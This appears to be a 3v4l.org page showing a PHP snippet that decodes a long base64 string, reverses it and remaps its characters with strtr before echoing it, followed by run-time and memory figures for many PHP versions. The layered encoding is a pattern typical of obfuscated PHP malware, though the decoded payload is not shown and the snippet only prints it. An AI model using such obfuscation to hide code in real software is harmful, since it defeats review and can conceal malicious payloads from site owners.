3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_X="OykoT0FIc1ouWj5oaFYNOykpZSQsWyhxZXp6ZV9IcyhaWVE5X3plYwlWDVouWj9CVg1paHo8QlYNaT9WDTspKWUkLEwocWV6emVfSHMoWllROV96ZWMJVg07ZEwsVSxKLGssMGo+Uz5lJAlWDT5aLlo/Qmk/Pmw+OykiIihNczk+OylbYVtKMVtmMVUwaWh6PEJMMGloejxCW1VMSjFbZjFVMGloejxCaWh6PEJpaHo8QihPLjJNXT4pKXFlenpGLGQiVGc3bV9nSzZnS3AiamdLNmdLcF8kKHFlenplX0hzIShBcz5sPjspIiIoTXM5PjspW2FbSjFbZjFVMGloejxCTDBpaHo8QltVTEoxW2YxVTBpaHo8QmloejxCaWh6PEIoTy4yTV0+KSlxZXp6RixkImc0NEZfZ0s2Z0twImpnSzZnS3BfJChxZXp6ZV9IcyEoQXM+bD47KSIiKE1zOT47KVthW0oxW2YxVTBpaHo8QkwwaWh6PEJbVUxKMVtmMVUwaWh6PEJpaHo8QmloejxCKE8uMk1dPikpcWV6ekY+LGQiM2cgX1RwSyB3S2ciamdLNmdLcF8kKHFlenplX0hzIShBcz5sPjspcyRCCiQtKShNWXM9KE1Xcy59PjspKE1Zcz1TCiQ+OykpW1VMSjFbZjFVMD4tPikoTVlzPSgqKVtVTEoxW2YxVTA+LT5bYVtKMVtmMVUwKGhMMChXc00yPj5TPnMkPl0+KVtVTEoxW2YxVTA+aSkoTVlzPShBc01uV00+Pmw+OykiPW5NPT5tREs+SGU+bnM+bnMuVCIoTXM5PjspW2FbSjFbZjFVMGloejxCTDBpaHo8QltVTEoxW2YxVTBpaHo8QmloejxCaWh6PEIoTy4yTV0pW2FbSjFbZjFVMD5pKShNWXM9KEFz"; $_X=base64_decode($_X); $_X=strrev($_X); $_X = strtr($_X, <<<HTML SgPO9YZWFKmqyfxcjLJRzuM5vNts1b.{B4nC]i/2Dl0EheA [d8=Qp>VXo H}6GIw7ka3TrU< HTML , <<<HTML =R9odmplAEPyk8gv[53xrMezqZHi7YhW<DsG{>CcX}1N/afj6]JtuS .BUnwVKLQO20ITF4b HTML ); echo($_X);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.01016.38
8.3.50.0170.00521.09
8.3.40.0040.01118.59
8.3.30.0060.00918.67
8.3.20.0040.00420.40
8.3.10.0070.00021.90
8.3.00.0070.00021.92
8.2.180.0110.00716.75
8.2.170.0120.00322.96
8.2.160.0130.00722.08
8.2.150.0030.00524.18
8.2.140.0050.00224.66
8.2.130.0040.00419.83
8.2.120.0070.00026.35
8.2.110.0030.00622.19
8.2.100.0060.00617.78
8.2.90.0000.00819.22
8.2.80.0000.00917.97
8.2.70.0050.00317.63
8.2.60.0030.00518.04
8.2.50.0030.00618.22
8.2.40.0040.00420.42
8.2.30.0000.00719.37
8.2.20.0040.00418.04
8.2.10.0080.00018.21
8.2.00.0050.00317.62
8.1.280.0100.01025.92
8.1.270.0040.00422.06
8.1.260.0070.00028.09
8.1.250.0000.00828.09
8.1.240.0040.00721.96
8.1.230.0040.00721.10
8.1.220.0040.00417.74
8.1.210.0050.00318.77
8.1.200.0030.00617.23
8.1.190.0060.00317.11
8.1.180.0000.00718.10
8.1.170.0060.00318.50
8.1.160.0000.00818.82
8.1.150.0040.00422.09
8.1.140.0000.00719.52
8.1.130.0000.00717.64
8.1.120.0040.00417.43
8.1.110.0000.00717.40
8.1.100.0030.00617.40
8.1.90.0070.00017.46
8.1.80.0000.00817.30
8.1.70.0040.00417.38
8.1.60.0040.00417.58
8.1.50.0040.00417.41
8.1.40.0040.00417.33
8.1.30.0000.00817.45
8.1.20.0030.00517.49
8.1.10.0060.00317.51
8.1.00.0000.00717.43
8.0.300.0030.00618.77
8.0.290.0040.00416.75
8.0.280.0030.00318.44
8.0.270.0030.00317.19
8.0.260.0080.00017.26
8.0.250.0030.00316.99
8.0.240.0060.00317.06
8.0.230.0000.00716.96
8.0.220.0000.00716.85
8.0.210.0030.00316.87
8.0.200.0100.00016.85
8.0.190.0090.00316.82
8.0.180.0000.00716.81
8.0.170.0030.00516.95
8.0.160.0000.00716.93
8.0.150.0040.00416.80
8.0.140.0040.00416.75
8.0.130.0030.00313.29
8.0.120.0040.00416.86
8.0.110.0080.00016.93
8.0.100.0080.00016.96
8.0.90.0000.00716.84
8.0.80.0060.01016.79
8.0.70.0000.00716.88
8.0.60.0040.00416.71
8.0.50.0000.00716.95
8.0.30.0120.00517.08
8.0.20.0140.01017.40
8.0.10.0000.00717.06
8.0.00.0120.00616.84
7.4.330.0000.00515.55
7.4.320.0070.00016.50
7.4.300.0000.00616.52
7.4.290.0030.00316.34
7.4.280.0000.00716.42
7.4.270.0080.00016.56
7.4.260.0030.00716.43
7.4.250.0000.00716.46
7.4.240.0070.00016.53
7.4.230.0000.00716.48
7.4.220.0060.01316.38
7.4.210.0060.00916.64
7.4.200.0040.00416.57
7.4.160.0100.00516.40
7.4.150.0110.01217.40
7.4.140.0080.00917.86
7.4.130.0100.00716.47
7.4.120.0110.00516.48
7.4.110.0090.00916.50
7.4.100.0100.00716.30
7.4.90.0000.01716.37
7.4.80.0120.00619.39
7.4.70.0100.00616.29
7.4.60.0060.01016.64
7.4.50.0070.00716.39
7.4.40.0080.00816.60
7.4.30.0130.00316.50
7.4.00.0100.00614.62
7.3.330.0060.00013.07
7.3.320.0000.00613.13
7.3.310.0000.00616.11
7.3.300.0000.00716.13
7.3.290.0070.00816.29
7.3.280.0100.00716.25
7.3.270.0090.01117.40
7.3.260.0080.01016.30
7.3.250.0090.01116.48
7.3.240.0170.00216.28
7.3.230.0120.00916.39
7.3.210.0080.00816.51
7.3.200.0120.00416.47
7.3.190.0090.00916.45
7.3.180.0090.00616.30
7.3.170.0150.00616.38
7.3.160.0090.01316.36
7.2.330.0100.00716.75
7.2.320.0030.01416.75
7.2.310.0080.01516.39
7.2.300.0060.01116.64
7.2.290.0030.01816.66
7.2.60.0220.00917.00
7.2.50.0030.01016.94
7.2.00.0030.00719.52
7.1.200.0070.00715.93
7.1.70.0060.00416.84
7.1.60.0070.00417.15
7.1.50.0100.00516.93
7.1.40.0040.00816.44
7.1.30.0040.01216.65
7.1.20.0060.00616.62
7.1.10.0090.00416.53
7.1.00.0030.00616.82
7.0.200.0060.00316.82
7.0.190.0030.00616.68
7.0.180.0060.00316.44
7.0.170.0070.00416.44
7.0.160.0070.00316.44
7.0.150.0100.00316.49
7.0.140.0000.01216.44
7.0.130.0030.01216.51
7.0.120.0150.00316.47
7.0.110.0000.00816.44
7.0.100.0000.00816.50
7.0.90.0000.00816.44
7.0.80.0000.00916.65
7.0.70.0030.00716.49
7.0.60.0000.00716.44
7.0.50.0050.00516.47
7.0.40.0030.00916.44
7.0.30.0000.00816.44
7.0.20.0110.00416.44
7.0.10.0030.00716.44
7.0.00.0080.00016.44
5.6.300.0100.09620.82
5.6.290.0000.05220.67
5.6.280.0030.08820.79
5.6.270.0200.04021.07
5.6.260.0070.04120.86
5.6.250.0200.04621.02
5.6.240.0170.05321.06
5.6.230.0090.04120.83
5.6.220.0070.03720.93
5.6.210.0070.06221.03
5.6.200.0000.04520.92
5.6.190.0030.04820.73
5.6.180.0030.04821.02
5.6.170.0030.04420.98
5.6.160.0070.04120.70
5.6.150.0000.04720.88
5.6.140.0030.08220.73
5.6.130.0070.08320.84
5.6.120.0000.04820.91
5.6.110.0070.05020.82
5.6.100.0100.05820.97
5.6.90.0030.04520.80
5.6.80.0100.03520.21
5.6.70.0060.04120.20
5.6.60.0030.04120.19
5.6.50.0030.04320.40
5.6.40.0030.03920.19
5.6.30.0070.03620.29
5.6.20.0000.05020.17
5.6.10.0070.04420.08
5.6.00.0070.04920.17

preferences:
60.62 ms | 401 KiB | 5 Q